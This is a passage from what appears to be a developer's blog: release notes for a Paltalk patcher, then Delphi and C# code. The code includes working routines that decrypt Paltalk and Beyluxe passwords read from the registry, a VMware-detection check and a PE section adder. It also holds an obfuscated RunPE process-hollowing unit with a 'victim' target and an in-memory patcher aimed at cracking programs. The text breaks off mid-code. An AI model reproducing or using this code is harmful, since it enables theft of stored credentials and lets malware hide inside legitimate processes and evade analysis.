Balool 2 – Paltalk add-on

Some people might already be members at our programming forum im-integrations, Palool has released a new version of Balool which has exceeded any other Paltalk program available. We will be working a full website with tutorials and developers information which should be on-line with in a couple of weeks.

 

Changes:

Internal changes:
- Added memory loader to replace the current obtrusive installation process
- Added installer and uninstaller
- Added direct access to built-in processors in Balool! menu
- Added Balool! menu in rooms to launch compatible plugins (e.g. Auto-Greeter and Compact Admin Console)
- Added support for new extensible color database format
- Added support for colors names in BBCode (e.g. [c=red]Some red text[/c])
- Moved plugins installation path to application directory instead of application data
- Added automatic update of patch information

New Features:
- Added option to block plugins private notifications
- Added support for custom nudge sounds
- Added support for Microsoft AppLocale Utility to change the language of the application without having to change system locale

Balool.Public API:
- Added control to edit BBCode formatted text
- Added control to preview BBCode formatted text
- Added control to edit color gradient
- Added “timed events” to temporize actions (used by Auto-Greeter and Auto-Reponder)

Plugins:

Alias
- Made case sensitivity and partial matching optional (default is now case insensitive whole word matching)

Auto-Greeter
- Uses Balool! room menu
- Configuration can be changed for each room, and a default configuration can be specified

Auto-Responder
- Away message will be sent at most once every 5 minutes to each user trying to contact you

Compact Admin Console
- Uses Balool! room menu

Event Log
- Added join/leave room events

Fader
- Improved UI to make it more clear (hopefully)

Feed Aggregator
- Ignore errors due to malformed feeds

You Talkin’ To Me
- Added sound notification

 

Description:

Chat
- Custom coloring of Nicknames and rooms
- Multiple login
- Display sent whispers in room
- Automatic split of long room messages
- Voice activated mic
- Bypass Paltalk single sign-on
- Bypass Paltalk link check
- Automatic room window close can be disabled
- Color faded text (plugin)
- Room auto-greeter (plugin)
- Private message auto-responder (plugin)
- Customizable automatic text replacement (plugin)User interface
- Complete configuration interface
- Event log (plugin)
- Pal list / Block list import / export (plugin)
- Customizable backgroup image for private IM
- Update message when a new version is released

Administration
- Fast Bounce: no need to enter a complaint
- Faster Bounce: bounce with a key combination (Shift + Alt + Click)
- Compact admin console (plugin)
- Bounce notifications include administrator nickname

Miscellaneous
- Plugin oriented architecture
- Welcome widget is disabled
- Ads can be disabled (banners, upgrade messages, “Paltalk Today”)
- Paltalk Notifier ads can be disabled
- Plus/Extreme/VIP theme
- Feed aggregator (plugin)

Balool! Frequently Asked Questions (FAQ)

Installation:
- What are the prerequirites?
Before installing Balool, you have to install .Net Framework 3.5 SP1 and the correct version of Paltalk.
- How can I install the package?
Close Paltalk and run the installer.
- Why is the package so small compared to other patched versions?
Other patched versions usually contain at least a modified version of Paltalk which is around 10 MB. Balool patches this file at runtime, so there is no need to include a modified version.
- I installed the package but nothing changed, what can I do?
Check that your Paltalk build number (in Paltalk, “Help” menu, “About”) matches the one required by Balool, make sure that Balool was installed in Paltalk directory and that installation was successful.
- I installed the package and now it crashes, what can I do?
Make sure you installed .Net Framework 3.5 SP1
- How can I uninstall the package?
Run the uninstaller, it will remove all files related to Balool!.

Security:
- I don’t trust your installer, what can I do?
The installer is a 7zip SFX file. You can open it and view its content using 7zip. (right click => 7-zip => open archive)
- I don’t trust your program, what can I do?
Don’t use it. Or use it with sandboxie.
- Does Balool! cause any security problem?
As far as I know, there is no problem with Balool! itself. However, plugins can be added and I can’t guarantee that they are all secure and harmless. Again, using sandboxie is a good recommandation.

Configuration:
- How can I access configuration window?
Use the “Balool!” menu in Paltalk main window
- How can I enable/disable [some feature]?
Open the configuration window and go to the pane containing the feature you want to enable/disable.
- How can I have my nickname/room colored?
Everything is explained in the “Color Nicknames & Rooms” pane of the configuration window
- How can I install a plugin?
Open the configuration window and go to the “Plugins” pane, then click “Import”
- How can I disable/enable/uninstall a plugin?
Open the configuration window and go to the “Plugins” pane, right click on the plugin you want to disable/enable/uninstall and select the appropriate action. If you want to uninstall a plugin, you have to disable it first and then restart Paltalk.

Issues:
- I requested a color for my nickname, I can see it but other people can’t, why?
Because coloring is done by Balool! on your PC, only people using the same color database can see the colors.
- I requested a blue/green/purple/gold color for my nickname, I can see it but I can’t view unlimited cams, why?
Because we’re neither hacking into Paltalk servers to color your nickname, nor paying a subscription for you.
- I found a bug, what should I do?
Please always do the following if you find a bug or have a problem:
1 – Check that you installed everything according to the installation instructions.
2 – Check the logs directory to see if there is any error logged. For that, you have to open windows explorer and type “%appdata%\balool\logs” in the address bar. If you find a text file matching the date/time of your problem, attach it to your bug report.
3 – If you don’t find any log for your problem, make sure that your problem is not specific to Paltalk. Try uninstalling Balool! to see if the problem still occurs without it.
4 – When you report the bug on the forum, include as much information as possible (version of Windows, Paltalk and Balool! you use? did you recently add a plugin or change something in the configuration? what were you doing when the bug appeared? Does it appear randomly or can you consistently reproduce it?).
5 – The more information we get, the easier it is to fix the bug.
- When I close the application I get an error, what should I do?
This is a known error with no solution for the moment. Just ignore the error until it’s solved.

Miscellaneous:
- Where can I get more plugins?
Visit Baloo! Plugins section in the forum.
- Can you add anti-bounce and/or anti-ban?
The best anti-bounce is called “good behaviour”. I won’t create any program to help people who ignore that.
- Can you add “Multi in room”, ability to enter the same room with several nicknames?
This would be the same as implementing an anti-bounce, so I won’t do it. Paltalk team can choose to allow multiple nicknames in the same rooms as they already did in the past, it’s up to them.
- I’d like to make a donation, where can I send money?
For plugins, please check directly with their authors. For Balool and plugins developed by “balool”, no donation is accepted: Balool exists because Paltalk exists, buy a Paltalk subscription for you or your friends with that money.

Download:

BeyluXe Password Encryption Description

The Registry

Beyluxe passwords are encrypted very similar to Paltalk, you can read that Article here about paltalk decrpytion from registry. BeyluXe saves your password in the Registry in a subkey under your nickname  HKEY_CURRENT_USER\Software\Beyluxe Messenger\  and the sub key “Password”  for example I could find the encrypted password for my nickname in the registry at “HKEY_CURRENT_USER\Software\Beyluxe Messenger\Departure\Password”.

The Encrypted Password

After retrieving the encrypted password from the registry it might look similar to “229226264233285234272” Which is my Encrypted password for BeyluXe, Just this alone tells us a few things, Divide the length of the password into 3 and you will have the length of the original password.. In my case the length of the encrypted password is 21 characters in length, So that would make my original password Length 7 characters long. Lets visualize splitting this encrypted password up into 3′s

229226264233285234272

229 = 1st char

226 = 2nd char

264 = 3th char

233 = 4th char

285 = 5th char

234= 6th char

272= 7th char

At the moment it does not tell us much except the length of the Unencrypted Password…

Decryption Process

The decryption process requires a couple of variables and some small mathematics, The variables required is the System Hard drive serial Number in Hex format and your username, These two variables get mix by using 1 char of user name and then 1 char of Hard drive Serial, Then concatenated  so the mixed string is equal or greater than the Unencrypted password length( in my case 7 characters) For Example My Hard drive serial in hex format is “8ED93AAE” and my Username is “Departure” so my mixed string would look like…

D8eEpDa9r3tAuArEe We wont need to concatenate this string because its already longer than Unencrypted password length, The next stage is the mathematical part.

This is where our Encrypted password from the registry comes in to play, So we know our password is 7 characters long(by dividing Encrypted password by 3)  and we also know the encrypted value for each character of our password.  Now would be a good time to get familiar with the  ASCII chart and understand for each character of the alphabet there is a decimal and a hex representation,  So with that in mind we do something like this to decrypt it.

1st Unencrypted Character = Char(229 - (ord(“D“) xor 4) – 116) = “1″

Let me try explain what just happened, we took the first 3 Encrypted password characters “229“, Then we took the decimal value(ord) of  ”D” and Xor’ed it with 4, lets break this down a little more, going by the ASCII chart “D” = 68 in decimal, so we can say that “68 xor 4″ then we minuses 116 so the whole sum looks like “229 – (68 xor 4) – 116″

68 xor 4 = 64  so we can also say “22964 – 116″ which of cause equals 49, So we convert 49 to its character value which is “1″ so the first Character of our password = “1″

Keeping the above logic lets decrypt the rest..

2nd Unencrypted Character = Char(226- (ord(“8“) xor 4) – 116) = “2″

3rd Unencrypted Character = Char(264- (ord(“e“) xor 4) – 116) = “3″

4th Unencrypted Character = Char(233- (ord(“E“) xor 4) – 116) = “4″

5th Unencrypted Character = Char(285- (ord(“p“) xor 4) – 116) = “5″

6th Unencrypted Character = Char(234- (ord(“D“) xor 4) – 116) = “6″

7th Unencrypted Character = Char(272- (ord(“a“) xor 4) – 116) = “7″

And we have the original Password which was “1234567″

To be continued……..

Delphi AntiVmWare

here is an example of how to detect if your application is running in vmware

Function AntiVMware():boolean;
begin
 try
  asm
   push edx;
   push ecx;
   push ebx;
   mov eax, 'VMXh';
   mov ebx, 0; // This can be any value except MAGIC
   mov ecx, 10; // "CODE" to get the VMware Version
   mov edx, 'VX'; // Port Number
   in eax, dx; // Read port
   //On return EAX returns the VERSION
   cmp ebx, 'VMXh'; // is it VMware
   setz Result; //Set flag state
   pop ebx;
   pop ecx;
   pop edx;
  end;
 except
  Result:= False;
 end;
end;

Example:

if AntiVMware then
  MessageBox(0, 'VMware Instance Detected', 'VMware Detected', +MB_OK +MB_ICONINFORMATION)
  else
  MessageBox(0, 'No VMware Instance Detected', 'No VMware Detected', +MB_OK +MB_ICONINFORMATION);

uAddNewSectionPE

This Unit I made to add a new section to a executable, Its based around the JCL(Jedi Component Library) debugger, I just modified it to create a new section with variables.

(************************************
 Unit    : uAddNewSectionPE
 Author  : JEDI Code Library (JCL)
 Modded  : Departure
 Url     : cheesydoodle.com
************************************)
unit uAddNewSectionPE;
 
interface
 
Uses
 Windows, Classes, SysUtils;
 
function AddNewSection(sFileName, sNewSectionName: String; dwNewSectionSize, dwNewSectionCharacteristics: DWORD): Boolean;
 
implementation
 
function PeMapImgSections(const NtHeaders: PImageNtHeaders): PImageSectionHeader;
begin
  if NtHeaders = nil then
    Result := nil
  else
    Result := PImageSectionHeader(DWORD(@NtHeaders^.OptionalHeader) +
      NtHeaders^.FileHeader.SizeOfOptionalHeader);
end;
 
function PeMapImgFindSection(const NtHeaders: PImageNtHeaders;
  const SectionName: string): PImageSectionHeader;
var
  Header: PImageSectionHeader;
  I: Integer;
  P: PChar;
begin
  Result := nil;
  if NtHeaders <> nil then
  begin
    P := PChar(SectionName);
    Header := PeMapImgSections(NtHeaders);
    with NtHeaders^ do
      for I := 1 to FileHeader.NumberOfSections do
        if StrLComp(PChar(@Header^.Name), P, IMAGE_SIZEOF_SHORT_NAME) = 0 then
        begin
          Result := Header;
          Break;
        end
        else
          Inc(Header);
  end;
end;
 
function PeMapImgNtHeaders(const BaseAddress: Pointer): PImageNtHeaders;
begin
  Result := nil;
  if IsBadReadPtr(BaseAddress, SizeOf(TImageDosHeader)) then
    Exit;
  if (PImageDosHeader(BaseAddress)^.e_magic <> IMAGE_DOS_SIGNATURE) or
    (PImageDosHeader(BaseAddress)^._lfanew = 0) then
    Exit;
  Result := PImageNtHeaders(DWORD(BaseAddress) + DWORD(PImageDosHeader(BaseAddress)^._lfanew));
  if IsBadReadPtr(Result, SizeOf(TImageNtHeaders)) or
    (Result^.Signature <> IMAGE_NT_SIGNATURE) then
      Result := nil
end;
 
function AddNewSection(sFileName, sNewSectionName: String; dwNewSectionSize, dwNewSectionCharacteristics: DWORD): Boolean;
var
  ImageStream                       : TMemoryStream;
  NtHeaders                         : PImageNtHeaders;
  Sections, LastSection, NewSection : PImageSectionHeader;
  VirtualAlignedSize                : DWORD;
  I, X, NeedFill                    : Integer;
 
  procedure Alignment(var Value: DWORD; Alignment: DWORD);
  begin
    if (Value mod Alignment) <> 0 then
      Value := ((Value div Alignment) + 1) * Alignment;
  end;
 
begin
 
 ImageStream := TMemoryStream.Create;
  try
    try
      ImageStream.LoadFromFile(sFileName);
      NtHeaders := PeMapImgNtHeaders(ImageStream.Memory);
      Assert(NtHeaders <> nil);
      Sections := PeMapImgSections(NtHeaders);
      Assert(Sections <> nil);
      // Check whether there is not a section with the name already. This
      // should never occur.
      Assert(PeMapImgFindSection(NtHeaders, sNewSectionName) = nil);
      LastSection := Sections;
      Inc(LastSection, NtHeaders^.FileHeader.NumberOfSections - 1);
      NewSection := LastSection;
      Inc(NewSection);
 
      // Increase the number of sections
      Inc(NtHeaders^.FileHeader.NumberOfSections);
      FillChar(NewSection^, SizeOf(TImageSectionHeader), #0);
      // Virtual Address
      NewSection^.VirtualAddress := LastSection^.VirtualAddress + LastSection^.Misc.VirtualSize;
      Alignment(NewSection^.VirtualAddress, NtHeaders^.OptionalHeader.SectionAlignment);
      // Physical Ofset
      NewSection^.PointerToRawData := LastSection^.PointerToRawData + LastSection^.SizeOfRawData;
      Alignment(NewSection^.PointerToRawData, NtHeaders^.OptionalHeader.FileAlignment);
      // Section name
      StrPLCopy(PChar(@NewSection^.Name), sNewSectionName, IMAGE_SIZEOF_SHORT_NAME);
      // Characteristics flags
      NewSection^.Characteristics := dwNewSectionCharacteristics;
 
      // Size of virtual data area
      NewSection^.Misc.VirtualSize := dwNewSectionSize;
      VirtualAlignedSize := dwNewSectionSize;
      Alignment(VirtualAlignedSize, NtHeaders^.OptionalHeader.SectionAlignment);
      // Update Size of Image
      Inc(NtHeaders^.OptionalHeader.SizeOfImage, VirtualAlignedSize);
      // Raw data size
      NewSection^.SizeOfRawData := dwNewSectionSize;
      Alignment(NewSection^.SizeOfRawData, NtHeaders^.OptionalHeader.FileAlignment);
      // Update Initialized data size
      Inc(NtHeaders^.OptionalHeader.SizeOfInitializedData, NewSection^.SizeOfRawData);
 
      // Fill data to alignment
      NeedFill := Integer(NewSection^.SizeOfRawData) + dwNewSectionSize;
 
      // Note: Delphi linker seems to generate incorrect (unaligned) size of
      // the executable when adding data so the position could be
      // behind the size of the file then.
      ImageStream.Seek(NewSection^.PointerToRawData, soFromBeginning);
 
      X := 0;
      for I := 1 to NeedFill do
        ImageStream.WriteBuffer(X, 1);
 
      ImageStream.SaveToFile(sFileName);
      Result := True;
    except
      Result := False;
    end;
  finally
    ImageStream.Free;
  end;
end;
 
end.

uModRunPE

Here is a modded version of RunPE for Delphi, it loads the API’s dynamically and decrypts them.

(* ***********************************
  Unit             : uRunPeMod
  Original Author  : Unknowen
  Delphi Author    : Steve10120
  Modded           : Departure
  Url              : ic0de.org
  *********************************** *)
unit uRunPeMod;
 
interface
 
Uses
  Windows;
 
Type
  TByteArray = Array of Byte;
 
  // NtUnmapViewOfSection
  TFUnmapViewOfSection = function(Processhandle: THandle; BaseAddr: Pointer)
    : DWORD; stdcall;
  // GetThreadContext
  TFGetThreadContext = function(TTheard: Cardinal; var I: _CONTEXT): Boolean;
    stdcall;
  // SetThreadContext
  TFSetThreadContext = function(TTheard: Cardinal; var I: _CONTEXT): Boolean;
    stdcall;
  // CreateProcessA
  TFCreatProcessA = function(lpApplicationName: PAnsiChar;
    lpCommandLine: PAnsiChar; lpProcessAttributes: PSecurityAttributes;
    lpThreadAttributes: PSecurityAttributes; bInheritnHandles: LongBool;
    dwCreationFlags: Cardinal; lpEnvironment: Pointer;
    lpCurrentDirectory: PAnsiChar; const lpStartupInfo: _STARTUPINFOA;
    var lpProcessInformation: _PROCESS_INFORMATION): Boolean; stdcall;
  // ReadProcessmemory
  TFReadProcessMemory = function(hProcess: Cardinal;
    const lpBaseAddress: Pointer; lpBuffer: Pointer; nSize: Cardinal;
    var lpNumberOfBytesRead: Cardinal): Boolean; stdcall;
  // WriteProcessMemory
  TFWriteProcessMemory = function(hProcess: Cardinal;
    const lpBaseAddress: Pointer; lpBuffer: Pointer; nSize: Cardinal;
    var lpNumberOfBytesRead: Cardinal): Boolean; stdcall;
  // VirtualAllocEx
  TFVirtualAllocEx = function(hProcess: Cardinal; lpAddress: Pointer;
    dwSize: Cardinal; flAllocType: Cardinal; flProtect: Cardinal): Pointer;
    stdcall;
  // ResumeThread
  TFResumeThread = function(TTheard: Cardinal): DWORD; stdcall;
  // CloseHandle
  TFCloseHandle = function(TThread: Cardinal): LongBool; stdcall;
 
Var
  // API Functions
  TFU: TFUnmapViewOfSection;
  TFG: TFGetThreadContext;
  TFS: TFSetThreadContext;
  TFC: TFCreatProcessA;
  TFR: TFReadProcessMemory;
  TFW: TFWriteProcessMemory;
  TFV: TFVirtualAllocEx;
  TFT: TFResumeThread;
  TFH: TFCloseHandle;
 
  // Encrypted Strings
  sKey: String = 'ic0de';
  sKER: String = '6J$TLWvB'; // Kernel32
  sNTD: String = 'YYtRS'; // ntdll
  sTFU: String = '9YeTTLUfOLb4v9LNYyUU'; // NtUnmapViewOfSection
  sTFG: String = '2J&:O]JqJ*ZS&K__'; // GetThreadContext
  sTFS: String = '>J&:O]JqJ*ZS&K__'; // SetThreadContext
  sTFC: String = '.WuG[P5$UJPX%'''; // CreateProcessA
  sTFR: String = '=JqJ7]TsKZ^2uSV]^'; // ReadProcessMemory
  sTFW: String = 'BWyZL;W!IL^X]KTZW+'; // WriteProcessMemory
  sTFV: String = 'AN$Z\LQQRSZHU^'; // VirtualAllocEx
  sTFT: String = '=J%[TP9xXLLI'; // ResumeThread
  sTFH: String = '.Q!YL3F JSP'; // CloseHandle
 
  // Public Functions
Function LoadAPIs(sKey: String): Boolean;
Function RunPeMod(sVictim: string; bFile: TByteArray): Boolean;
Function VigenereExEncrypt(sSource, sKey: String; bDecrypt: Boolean = False; iTableSize: Integer = 94): String;
implementation
 
{ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ }
Function VigenereExEncrypt(sSource, sKey: String; bDecrypt: Boolean = False;
  iTableSize: Integer = 94): String;
var
  I, iPosText, iPosKey: Integer;
  sTable: string;
begin
  // Create our Cipher Table
  I := 32;
  While I <= (iTableSize + 32) do
  Begin
    sTable := ConCat(sTable, Chr(I));
    inc(I);
  end;
  // Make the key the same size or greater than the Source
  while Length(sSource) >= Length(sKey) do
    sKey := ConCat(sKey, sKey);
  // Vegenere Encryption/Decryption routine
  I := 1;
  while I <= Length(sSource) do
  Begin
    iPosText := pred(pos(sSource[I], sTable));
    iPosKey := pred(pos(sKey[I], sTable));
    // Encrypt or Decrypt(Default is Encrypt)
    Case bDecrypt of
      False:
        Result := Result + sTable[((iPosText + iPosKey) mod iTableSize) + 1];
      True:
        Result := Result + sTable[(((iPosText + iTableSize) - iPosKey)
            mod iTableSize) + 1];
    end;
    inc(I);
  end;
end;
 
{ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ }
Function LoadAPIs(sKey: String): Boolean;
begin
  Result := True;
  Try
    @TFU := GetProcAddress
      (GetModuleHandle(Pchar(VigenereExEncrypt(sNTD, sKey, True))), Pchar
        (VigenereExEncrypt(sTFU, sKey, True)));
    @TFG := GetProcAddress
      (GetModuleHandle(Pchar(VigenereExEncrypt(sKER, sKey, True))), Pchar
        (VigenereExEncrypt(sTFG, sKey, True)));
    @TFS := GetProcAddress
      (GetModuleHandle(Pchar(VigenereExEncrypt(sKER, sKey, True))), Pchar
        (VigenereExEncrypt(sTFS, sKey, True)));
    @TFC := GetProcAddress
      (GetModuleHandle(Pchar(VigenereExEncrypt(sKER, sKey, True))), Pchar
        (VigenereExEncrypt(sTFC, sKey, True)));
    @TFR := GetProcAddress
      (GetModuleHandle(Pchar(VigenereExEncrypt(sKER, sKey, True))), Pchar
        (VigenereExEncrypt(sTFR, sKey, True)));
    @TFW := GetProcAddress
      (GetModuleHandle(Pchar(VigenereExEncrypt(sKER, sKey, True))), Pchar
        (VigenereExEncrypt(sTFW, sKey, True)));
    @TFV := GetProcAddress
      (GetModuleHandle(Pchar(VigenereExEncrypt(sKER, sKey, True))), Pchar
        (VigenereExEncrypt(sTFV, sKey, True)));
    @TFT := GetProcAddress
      (GetModuleHandle(Pchar(VigenereExEncrypt(sKER, sKey, True))), Pchar
        (VigenereExEncrypt(sTFT, sKey, True)));
    @TFH := GetProcAddress
      (GetModuleHandle(Pchar(VigenereExEncrypt(sKER, sKey, True))), Pchar
        (VigenereExEncrypt(sTFH, sKey, True)));
  Except
    Result := False;
  end;
end;
 
{ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ }
procedure Move(Destination, Source: Pointer; Length: DWORD);
asm
  PUSHAD
  MOV ESI, Source
  MOV EDI, Destination
  MOV ECX, Length
  REP MOVSB
  POPAD
end;
 
{ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ }
  function RunPeMod(sVictim: string; bFile: TByteArray): Boolean;
  var
    IDH: TImageDosHeader;
    INH: TImageNtHeaders;
    ISH: TImageSectionHeader;
    PI: TProcessInformation;
    SI: TStartUpInfo;
    CONT: TContext;
    ImageBase: Pointer;
    Ret: DWORD;
    I: Integer;
    Addr: DWORD;
    dOffset: DWORD;
  begin
    Result := False;
    try
      Move(@IDH, @bFile[0], 64);
      if IDH.e_magic = IMAGE_DOS_SIGNATURE then
      begin
        Move(@INH, @bFile[IDH._lfanew], 248);
        if INH.Signature = IMAGE_NT_SIGNATURE then
        begin
          FillChar(SI, SizeOf(TStartUpInfo), #0);
          FillChar(PI, SizeOf(TProcessInformation), #0);
          SI.cb := SizeOf(TStartUpInfo);
          if TFC(nil, Pchar(sVictim), nil, nil, False, CREATE_SUSPENDED, nil,
            nil, SI, PI) then
          begin
            CONT.ContextFlags := CONTEXT_FULL;
            if TFG(PI.hThread, CONT) then
            begin
              TFR(PI.hProcess, Ptr(CONT.Ebx + 8), @Addr, 4, Ret);
              TFU(PI.hProcess, Pointer(Addr));
              ImageBase := TFV(PI.hProcess, Ptr(INH.OptionalHeader.ImageBase),
                INH.OptionalHeader.SizeOfImage, MEM_RESERVE or MEM_COMMIT,
                PAGE_READWRITE);
              TFW(PI.hProcess, ImageBase, @bFile[0],
                INH.OptionalHeader.SizeOfHeaders, Ret);
              dOffset := IDH._lfanew + 248;
              for I := 0 to INH.FileHeader.NumberOfSections - 1 do
              begin
                Move(@ISH, @bFile[dOffset + (I * 40)], 40);
                TFW(PI.hProcess, Ptr(Cardinal(ImageBase) + ISH.VirtualAddress),
                  @bFile[ISH.PointerToRawData], ISH.SizeOfRawData, Ret);
              end;
              TFW(PI.hProcess, Ptr(CONT.Ebx + 8), @ImageBase, 4, Ret);
              CONT.Eax := Cardinal(ImageBase)
                + INH.OptionalHeader.AddressOfEntryPoint;
              TFS(PI.hThread, CONT);
              TFT(PI.hThread);
              Result := True;
            end;
          end;
        end;
      end;
    except
      TFH(PI.hProcess);
      TFH(PI.hThread);
    end;
  end;
end.

Delphi Beyluxe Password Decryption

Here is my function to decrypt passwords for beyluxe that have been stored in the registry, For an example use just look at the paltalk decryption example

Function Decrypt(sNickName, sHwID, sCrypted: String): String;
var
 aOutPut : array of string;
 iLen, i: Integer;
 sTemp, sFinal : String;
const
 iOffset = $74;
begin
 Result:= '';
 iLen:= length(sCrypted);
 
 If (iLen mod 3) <> 0 then
  begin
   Result:= 'incorrect encrypted password';
   exit;
  end;
 
 for i:= 0 to pred(iLen div 3) do
  begin
   sTemp:= sTemp + sNickName[(i mod length(sNickName))+ 1] + sHwID[(i mod length(sHwID))+ 1]
  end;
 
 Setlength(aOutPut, (iLen div 3));
 
 for i:= 0 to pred(Length(aOutPut)) do
  begin
   aOutPut[i]:= Copy(sCrypted,1,3);
   sFinal:=  sFinal + Chr((strtoint(aOutPut[i]) - (ord(sTemp[i+1]) xor 4)) - iOffset);
   Delete(sCrypted,1,3);
  end;
 
 aOutPut:= Nil;
 Result:= sFinal;
end;

Delphi Paltalk Password Decrypt

Here is a function and an example how to decrypt Paltalk Passwords..

Function Decrypt(sNickName, sHwID, sCrypted: String): String;
var
aOutPut : array of string;
iLen, i : Integer;
sTemp, sFinal : String;
const
 iOffset = 122;
begin
 Result:= '';
 iLen:= length(sCrypted);
 
 If (iLen mod 4) <> 0 then
  begin
   Result:= 'incorrect encrypted password';
   exit;
  end;
 
 for i:= 0 to 7 do
  begin
   sTemp:= sTemp + sNickName[(i mod length(sNickName))+ 1] + sHwID[(i mod length(sHwID))+ 1]
  end;
 
 Setlength(aOutPut, (iLen div 4));
 
 If Length(sHwID) >= Length(sNickName) then
  sTemp:= sHwID[Length(sHwID)] + sTemp
  else
   sTemp:= sNickName[Length(sNickName)] + sTemp;
 
 for i:= 0 to pred(Length(aOutPut)) do
  begin
   aOutPut[i]:= Copy(sCrypted,1,3);
   sFinal:=  sFinal + Chr((strtoint(aOutPut[i]) - ord(sTemp[i+1])) - i - iOffset);
   Delete(sCrypted,1,4);
  end;
 
 aOutPut:= Nil;
 Result:= sFinal;
 
end;

Example:

function FindNickPass(const sNickname: String): String;
begin
  with TRegistry.Create do
    try
      RootKey := HKEY_CURRENT_USER;
      if OpenKey('\Software\Paltalk\' + sNickname, False) then
       begin
        Result:= (ReadString('pwd'));
        CloseKey;
      end;
    finally
      Free;
    end;
end;
 
function FindVolumeSerial(const Drive : PChar) : string;
var
   VolumeSerialNumber : DWORD;
   MaximumComponentLength : DWORD;
   FileSystemFlags : DWORD;
begin
   Result:='';
 
   GetVolumeInformation(Drive, nil, 0, @VolumeSerialNumber,
                        MaximumComponentLength, FileSystemFlags, nil, 0) ;
 
   Result :=  Format('%8.8X',[VolumeSerialNumber]);
end;
 
procedure TForm1.Button1Click(Sender: TObject);
begin
Showmessage(Decrypt('Departure', trim(FindVolumeSerial('C:\')),FindNickPass('Departure')));
end;

C# Paltalk Password Decrypt

This is my Delphi function to decrypt paltalk password converted to C#

        //Convert to Ordinal Value
        private int CharToAscii(char a)
        {
            return (int)a;
        }
 
        public string DecryptPaltalkPassWord(string sNickname,  string sHwId, string sCrypted)
        {
            //Some variables we will use
            string sTemp = "";
            string sFinal = "";
            string sCipher = sCrypted;
            int iLength = sCrypted.Length;
 
            //Check to make sure it divides into 4
            if (iLength % 4 != 0)
            {
                return "Incorrect encrypted password";     
            }
            //Concatenate Nickname & HwId
            for (int i = 0; i <= 7; i++)
            {
                sTemp = sTemp + sNickname[i % sNickname.Length] + sHwId[i % sHwId.Length];
            }
            //Create an array
            string[] aOutPut = new string[iLength / 4];
            //Get longest char of either HwId or Nickname and add it to sTemp(Last longest chars is first to get processed)
            if (sHwId.Length >= sNickname.Length)
            {
                //If the HwID string is longer than password then add last char of to beginning of sTemp
                sTemp = sHwId[sHwId.Length - 1] + sTemp;
            }
            else
            {
                //If the sNickName string is longer than HwId then add last char of to beginning of sTemp
                sTemp = sNickname[sNickname.Length - 1] + sTemp;
 
            }
 
            //Process and calculate Password
            for (int i = 0; i <= (aOutPut.Length - 1); i++)
            {
                //Add the first 3 chars of encrypted string to our array(dropping the 4th as its not needed)
                aOutPut[i] = sCipher.Substring(0, 3);
                //Calculate char in password
                sFinal = sFinal + Convert.ToChar((Int32.Parse(aOutPut[i]) - CharToAscii(sTemp[i])) - i - 122);
                //Remove first 4 chars to get ready for processing next
                sCipher = sCipher.Remove(0, 4);
            }
            //Return our Password
            return sFinal;
 
        }

uMultiMemPatch

Here is a Delphi unit to make life easyer when creating memory loaders…

(* *****************************************************
  Unit             : uMultiMemPatch
  Author           : Departure
  Url              : cheesydoodle.com
 
  Info:
     An Easy way to patch your Target in memory,
     Just add your VA and your array of bytes,
     it will load the target in suspended mode
     write the bytes to address(s) given and then
     resume the thread with new Patches.
 
  Usage:
   uses
    uMultiMemPatch;
   Var
    MyArrayOfPatches: APatchRec;
   Being
    AddPatch($0040107B,[$90,$90,$90],MyArrayOfPatches);
    AddPatch($004010B0,[$90,$EB],MyArrayOfPatches);
    WritePatches('CrackMe.exe', MyArrayOfPatches);
    MyArrayOfPatches:= Nil;
   end;
  ***************************************************** *)
 
unit uMultiMemPatch;
 
interface
 
uses
 Windows;
 
type
 TPatchRec = Record
  dwAddress: Dword;
  baPatches: Array of Byte;
 end;
 
type
 APatchRec = Array of TPatchRec;
 
 Procedure AddPatch(dwAddress: Dword; aPatches: Array of byte; var ArrayRecord: APatchRec);
 
implementation
 
Procedure AddPatch(dwAddress: Dword; aPatches: Array of byte; var ArrayRecord: APatchRec);
var
 Patch: TPatchRec;
 i: Integer;
begin
 {Set the Address}
 Patch.dwAddress:= dwAddress;
 {Set the Length of Patches}
 SetLength(Patch.baPatches, Length(aPatches));
 {Add the Patches}
 for i:= low(aPatches) to high(aPatches) do
  Patch.baPatches[i]:= aPatches[i];
 
 {Check if Array is already Built}
 if ArrayRecord = Nil then
   SetLength(ArrayRecord,1)
 else
  SetLength(ArrayRecord,Length(ArrayRecord) +1);
 {Add out Patches to the Array}
 ArrayRecord[high(ArrayRecord)]:= Patch;
end;
 
Function WritePatches(sFileName: String; ArrayPatches: APatchRec):Boolean;
var
 { Startup and variables used in procedure }
 StartInfo  : TStartupInfo;
 ProcInfo   : TProcessInformation;
 CreateOK   : Boolean;
 Write: Cardinal;
 i: Integer;
begin
  Result:= False;
 { Intinilize }
 FillChar(StartInfo,SizeOf(TStartupInfo),#0);
 FillChar(ProcInfo,SizeOf(TProcessInformation),#0);
 StartInfo.cb := SizeOf(TStartupInfo);
 
 { Create Process in a suspended state }
 CreateOK := CreateProcess(PChar(sFileName),nil, nil, nil,False,CREATE_SUSPENDED,nil, nil, StartInfo, ProcInfo);
 
 { check to see if successful }
 if CreateOK then
  try
   Begin
    for i:= low(ArrayPatches) to high(ArrayPatches) do
    { Write MultiPatch to memory }
     WriteProcessMemory(ProcInfo.hProcess,ptr(ArrayPatches[i].dwAddress),@ArrayPatches[i].baPatches,Length(ArrayPatches[i].baPatches),Write);
    { Resume the thread }
    ResumeThread(ProcInfo.hThread);
    CloseHandle(ProcInfo.hProcess);
    Result:= True;
   end;
  except
   Result:= False;
  end;
end;
 
end.

C# Vigenere – Caesar – Rot13

As the title decribes, here is my implementation of these ancient ciphers.

using System;
/*
Class  : StringCrypt.cs
Aurthor: Departure
Url    : im-integrations.com
Info:
Encrypt Strings with Vigenere Cipher and ROT Cipher(Caesar Cipher, Rot13 ect..)
Based on information from wiki
*/
 
internal class StringCrypt
{
public static string Vigenere(string sSource, string sKey, int iTableSize = 94, bool bDecrypt = false)
{
//Variables
int i = 32;
int iPosText;
int iPosKey;
string sTable = "";
string sResult = "";
 
//Create Table
while (i &lt; (iTableSize + 32))             {                 sTable +=  ((char)i);                 i++;             }             //Make Key same size as Cipher             while (sSource.Length &gt;= sKey.Length)
{
sKey = string.Concat(sKey, sKey);
}
 
//Vigenere Routine
i = 0;
while (i &lt;= (sSource.Length - 1))
{
